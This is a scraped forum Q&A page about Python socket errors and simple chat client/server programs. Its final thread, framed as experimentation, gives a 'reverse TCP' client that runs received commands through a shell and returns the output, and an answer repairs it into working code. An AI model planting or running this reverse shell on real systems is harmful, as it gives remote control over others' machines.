Python socket error 10054, connection was interrupted by remote host - python

i am trying to set up communication with an ethernet device connected to my computer. Connection seems to work ok, when i connect the socket to the device's IP address and port, but when I try to send a command to the device, it returns the [error 10054 - connection was forcibly interrupted by the remote host]. The code I have so far is like this:
import socket
import time
import logging
logging.basicConfig(filename='conn.txt', filemode='w')
logging.warning('Starting...')
address = ('192.168.1.23', 23)
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ok = soc.connect_ex(address)
if ok == 0:
logging.warning('Connected to device ' + str(ok))
else:
logging.warning('Connection failed ' + str(ok))
### send at command
command = 'AT+SENSOR_IDS'
cmd_to_send = command + '\r\n'
cmd_to_send = cmd_to_send.encode('ascii')
logging.warning('Sending at command')
soc.sendall(cmd_to_send)
logging.warning('at command sent, waiting for echo')
# read echo
echo = soc.recv()
logging.warning('received echo: ' + echo)
print('finished')
When i try to "reconnect" with another soc.connect_ex(address), it tells me that the socket is in use.
Thank you for all your help.
EDIT:
So because I don't know much about the device thanks to the lack of documentation, I decided on simulating the problem just using an Echo server and a client example on a localhost. I have this code:
Server side:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('localhost', 1001)
s.bind(server_address)
s.listen(1)
# looking for clients
while True:
print('waiting for connection')
connection, client_address = s.accept()
# when client connects
try:
print('Connection from %s port %s' % client_address )
# get all the data and echo it back
while True:
data = connection.recv(15)
print('Received: ' + str(data))
if not data:
try:
s.sendall(data)
except:
print('echoing data failed')
break
finally:
connection.close()
Client side:
import socket
address = ('127.0.0.1', 1001)
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ok = soc.connect_ex(address)
try:
if ok == 0:
print('Connected to device ' + str(ok))
else:
print('Connection failed ' + str(ok))
except Exception as e:
soc.close()
print("connection not succesful, error returned :", e)
try:
cmd_to_send = 'AT+SENSOR_IDS\r\n'.encode('ascii')
bytes_sent = soc.sendall(cmd_to_send)
if bytes_sent == None:
print('Command sent succesfully')
else:
print('AT command failed to be sent')
# read echo
echo = soc.recv()
print('received echo: ' + echo)
soc.close()
except:
try:
soc.close()
print('at command or echo reading failed')
except:
print('Process finished socket exception occured')
After the command is received by the server, it can't be echoed back to the client as the socket closes and is not working further. How to keep the socket alive?
Thank you for your help

You must close the sockets that you opened otherwise they will be open until a timeout reached.
Try this:
import socket
import time
import logging
logging.basicConfig(filename='conn.txt', filemode='w')
logging.warning('Starting...')
address = ('192.168.1.23', 23)
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ok = soc.connect_ex(address)
if ok == 0:
logging.warning('Connected to device ' + str(ok))
else:
logging.warning('Connection failed ' + str(ok))
except Exception as e:
soc.close()
print("Connection is not successful, error returned :", e)
try:
### send at command
command = 'AT+SENSOR_IDS'
cmd_to_send = command + '\r\n'
cmd_to_send = cmd_to_send.encode('ascii')
logging.warning('Sending at command')
soc.sendall(cmd_to_send)
logging.warning('at command sent, waiting for echo')
# read echo
echo = soc.recv()
logging.warning('received echo: ' + echo)
except:
try:
soc.close()
print('Process Finished Succefully')
except:
print('Process Finished Socket Exception Occured')

Related

Python chat not working os error 10038

My server is starting normal, but when I run my client on that port, it's not working. This is my error code from the client:
OSError: [WinError 10038] An operation was attempted on something that is not a socket
This is the script of the client:
chat_client.py
import sys
import socket
import select
def chat_client():
if(len(sys.argv) < 3) :
print ('Usage : python chat_client.py hostname port')
sys.exit()
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# connect to remote host
try :
s.connect((host, port))
except :
print ('Unable to connect')
sys.exit()
print ('Connected to remote host. You can start sending messages')
sys.stdout.write('[Me] '); sys.stdout.flush()
while 1:
socket_list = [sys.stdin, s]
# Get the list sockets which are readable
ready_to_read,ready_to_write,in_error = select.select(socket_list ,
[], [])
for sock in ready_to_read:
if sock == s:
# incoming message from remote server, s
data = sock.recv(4096)
if not data :
print ('\nDisconnected from chat server')
sys.exit()
else :
#print data
sys.stdout.write(data)
sys.stdout.write('[Me] '); sys.stdout.flush()
else :
# user entered a message
msg = sys.stdin.readline()
s.send(msg)
sys.stdout.write('[Me] '); sys.stdout.flush()
if __name__ == "__main__":
sys.exit(chat_client())

Python thread in socket chat application won't start

I'm new to python, and I'm trying to write a simple chat application, featuring a server which runs a thread that accepts from and transmits messages to connected clients, and a client which runs two threads that send messages to and accept messages from the server respectively. Here's the code
Server:
import socket
import sys
import thread
def receiveAndDeliverMessage(conn):
while True:
data = conn.recv(1040)
if not data: break
print(data)
conn.send(data)
conn.close
HOST = '' # Localhost
PORT = 8888 # Arbitrary non-privileged port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create a TCP/IP socket
print 'Socket created'
#Bind socket to local host and port
try:
sock.bind((HOST, PORT))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
#Start listening on socket
sock.listen(10)
print 'Socket now listening'
# Create threads for receiving a connection from client and receiving data from client
while True:
connection, address = sock.accept() #Accept method returns a tupule containing a new connection and the address of the connected client
print 'Connected with ' + address[0] + ':' + str(address[1])
try:
thread.start_new_thread(receiveAndDeliverMessage, (connection))
except:
print ("Error: unable to start thread")
sock.close()
Client:
#Socket client example in python
import socket #for sockets
import sys #for exit
import thread
def sendMessage():
count = 0
while (count < 3):
message = raw_input('Write message to send to server: ');
count = count + 1
print 'message '+str(count)+': '+(message)
try :
#Send the whole string
sock.sendall(message)
except socket.error:
#Send failed
print 'Send failed'
sys.exit()
print 'Message sent successfully to server'
def receiveMessage():
reply = sock.recv(1024)
print reply#Print the message received from server
#create an INET, STREAMing socket
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print 'Failed to create socket'
sys.exit()
print 'Socket Created'
serverHost = 'localhost'
serverPort = 8888
try:
remote_ip = socket.gethostbyname(serverHost)
except socket.gaierror:
#could not resolve
print 'Hostname could not be resolved. Exiting'
sys.exit()
#Connect to remote server
sock.connect((remote_ip , serverPort))
print 'Socket Connected to ' + serverHost + ' on ip ' + remote_ip
try:
thread.start_new_thread(receiveMessage, ())
except:
print ("Error: unable to start receive message thread")
try:
thread.start_new_thread(sendMessage, ())
except:
print ("Error: unable to start send message thread")
sock.close()#Close socket to send eof to server
Now every time a client is opened, instead of the thread which runs receiveAndDelivermessage function running on the server, the exception gets thrown. So I get the "Error: unable to start thread". I don't understand why the exception gets thrown. Maybe I haven't yet quite grasped how threads work. Any help greatly appreciated. Also each time a client is opened, it gets terminated immediately, after the connection to server is established.
You swallow the original exception and print out a custom message so it's hard to determine what's causing the issue. So I am going to provide some tips around debugging the issue.
try:
thread.start_new_thread(receiveAndDeliverMessage, (connection))
except:
print ("Error: unable to start thread")
You are catching all types of exception in one except block which is quite bad. Even if you do so, try to find the message -
except Exception as ex:
print(ex)
Or you can also get the full traceback instead of just printing the exception:
import traceback
tb = traceback.format_ex(ex)

An operation was attempted on something that is not a socket (tried fixing a lot)

Before you say this is a duplicate, I have looked at many articles on this and still can't fix it.
I am making a very basic chat client and server python program.
However after connecting through my client, it says 'Connected' on the server console, but disconnects immediately on the chat one with the error 'OSError: [WinError 10038] An operation was attempted on something that is not a
socket'
CHAT
def chat_client():
if(len(sys.argv) not in (3, 4)):
print("Usage: python chat_client.py <hostname> <port> <optional-username>\n")
sys.exit()
host = sys.argv[1]
port = int(sys.argv[2])
username = ""
if len(sys.argv) == 4:
username = sys.argv[3]
else:
username = "Guest"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# Connect to remote host
try:
s.connect((host, port))
except:
print("Unable to connect")
sys.exit()
print("Connected to remote host. You can start sending messages")
print("*** Press Control-C to log off ***\n")
sys.stdout.write("[" + username + "] ")
sys.stdout.flush()
while True:
socket_list = [sys.stdin, s]
try:
# Get the list sockets which are readable
ready_to_read, ready_to_write, in_error = select.select(socket_list, [], [])
except KeyboardInterrupt:
system("clear")
sys.stdout.write("\nYou have logged off\n")
sys.stdout.flush()
sys.exit()
SERVER
HOST = ""
SOCKET_LIST = []
RECV_BUFFER = 4096
PORT = 9009
CONVERSATION = ""
def chat_server():
global CONVERSATION
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(10)
# Add server socket object to the list of readable connections
SOCKET_LIST.append(server_socket)
print("Chat server started on port " + str(PORT))
while True:
try:
# Get the list sockets which are ready to be read through select
# 4th arg, time_out = 0 : poll and never block
ready_to_read, ready_to_write, in_error = select.select(SOCKET_LIST, [], [], 0)
for sock in ready_to_read:
# A new connection request recieved
if sock == server_socket:
sockfd, addr = server_socket.accept()
SOCKET_LIST.append(sockfd)
print("Client (%s, %s) connected" % addr)
broadcast(server_socket, sockfd, "[%s, %s] entered our chatting room\n" % addr)
# A message from a client, not a new connection
else:
# Process data recieved from client
try:
# Recieving data from socket
data = sock.recv(RECV_BUFFER)
if data:
# there is something in the socket
# broadcast(server_socket, sock, "\r" + '[' + str(sock.getpeername()) + '] ' + data) # old
broadcast(server_socket, sock, "\r" + data)
else:
# Remove the socket that's broken
if sock in SOCKET_LIST:
SOCKET_LIST.remove(sock)
# at this stage, no data probably means the connection has been broken
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
except:
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
continue
except KeyboardInterrupt:
server_socket.close()
sys.exit()
server_socket.close()
# broadcast chat messages to all connected clients
def broadcast(server_socket, sock, message):
for socket in SOCKET_LIST:
# send the message only to peer
if socket != server_socket and socket != sock:
try:
socket.send(message)
except:
# Broken socket connection
socket.close()
# Broken socket, remove it
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
if __name__ == "__main__":
sys.exit(chat_server())
From select's documentation:
File objects on Windows are not acceptable, but sockets are. On
Windows, the underlying select() function is provided by the WinSock
library, and does not handle file descriptors that don’t originate
from WinSock.
This rules out using sys.stdin.
Alternatives:
Use Cygwin (No modifications to code needed)
Create a thread that waits on sys.stdin (like here)
Go the full Windows route and use WaitForMultipleObjects
Use some library that abstracts these details away, I like libuv but haven't used it with python
Another thing: Don't use select with a zero timeout in an infinite loop. This busy waiting is really inefficient. Instead omit the timeout to have select block till a descriptor becomes ready.

Socket based chat program doesn't work correctly

I'm trying to create a chatroom based on sockets which works on windows.
I have a server script:
# chat_server.py
import sys
import socket
import select
HOST = ''
SOCKET_LIST = []
RECV_BUFFER = 4096
PORT = 9009
def chat_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(10)
threads = []
#add server socket object to the list of readable connections
SOCKET_LIST.append(server_socket)
print("Chat server started on port " + str(PORT))
while 1:
# get the list sockets wich are ready to be read through select
# 4th arg, tiome_out = 0 : poll and never block
ready_to_read,ready_to_write,in_error = select.select(SOCKET_LIST,[],[],0)
for sock in ready_to_read:
# a new connection request recieved
if sock == server_socket:
sockfd, addr = server_socket.accept()
SOCKET_LIST.append(sockfd)
print("Cient (%s, %s) connected" % addr)
broadcast(server_socket, sockfd, "[%s:%s] entered our chatting room\n" % addr)
# a message from a client, not a new connection
else:
# process data recieved from client,
try:
#receiving data from the socket.
data, addr = sock.recvfrom(RECV_BUFFER)
if data:
# there is something in the socket
broadcast(server_socket, sock, "\r" + '[' + str(sock.getpeername()) + ']' + data)
else:
# remove the socket that's broken
if sock in SOCKET_LIST:
SOCKET_LIST.remove(sock)
# at this stage, no data means probably the connection has been broken
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
# exception
except:
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
continue
server_socket.close()
# broadcast chat messages to all connected clients
def broadcast (server_socket, sock, message):
for socket in SOCKET_LIST:
# send the message only to peer
if socket != server_socket and socket != sock :
try :
socket.send(message)
except :
# broken socket connection
socket.close()
# broken socket, remove it
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
if __name__ == "___main__":
sys.exit(chat_server())
chat_server()
And a client script:
# chat_client.py
import sys
import socket
import select
from threading import Thread
def chat_client():
if(len(sys.argv) < 3):
print('Usage: python chat_client.py hostname port')
sys.exit()
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
#connect to remote host
try:
s.connect((host,port))
except:
print('Unable to connect')
sys.exit()
print('Connected to remote host. You can start sending messages')
sys.stdout.write('[Me] '); sys.stdout.flush()
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_send.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_send.bind((host, port))
def send_msg(sock):
while True:
# user entered a message
s.send(sys.stdin.buffer.readline())
sys.stdout.write('[Me] '); sys.stdout.flush()
def recv_msg(sock):
while True:
# incoming message from remote server, s
data, addr = sock.recvfrom(1024)
if not data :
print('\nDisconnected from chat server')
sys.exit()
else:
#print data
sys.stdout.write(data)
sys.stdout.write('[Me] '); sys.stdout.flush()
Thread(target=send_msg, args=(sock_send,)).start()
Thread(target=recv_msg, args=(sock_send,)).start()
if __name__ == "__main__":
sys.exit(chat_client())
The program is executed with:
$ python chat_server.py
$ python chat_client.py localhost 9009
If I run the code I won't get any Error. When I run several clients at the same time they all connect to the server correctly, but one client doesn't get the text another client has written.
I think something is wrong with the server's broadcast function, but I'm not sure what it is.
I already searched for similar questions, but I didn't find anything useful for fixing this problem. Please Help!

TCP Server not receiving anything after initial connection. Python

So, I've been experimenting with Python's socket module and I've created a simple TCP client/server setup. Everything's running on the same system (Win7x64), on the ip 192.168.1.3
Here's the client (It's a reverse TCP connection):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
Here's the server:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
Here's the output that I receive on the server:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
And then it just hangs there. No matter what I get the client to send, it just won't receive it. The commands are successful on the client's side but the output isn't sent back.
Halp?
Edit: I've managed to get the output of the command received by the server once by encasing the stuff in the function in a loop:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
So, if I send a dir command, I receive an output once. But on trying to send another command, I get this:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
EDIT:
Can someone recommend an alternative method? What I want to do, is for the server to 1. send a command to the client, 2. the client to execute it and 3. send the output back and 4. the output to be received by the server. And for this to carry on until it's stopped by the user.
TCP is a streaming protocol. Therefore you need some kind of message format for communication. Second, you need a loop, to send commands and read the result. On client side, you also need some kind of message protocol to send the results. I've use json encoded strings and new line as end-of-message character.
The server:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
The client:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
Shashank is right, once it has received data once, it gets back to the accept loop.
If you want to keep receiving for this client while accepting new connections you should consider creating a thread which will handle the connection, and then keep accepting new ones in your main.

Categories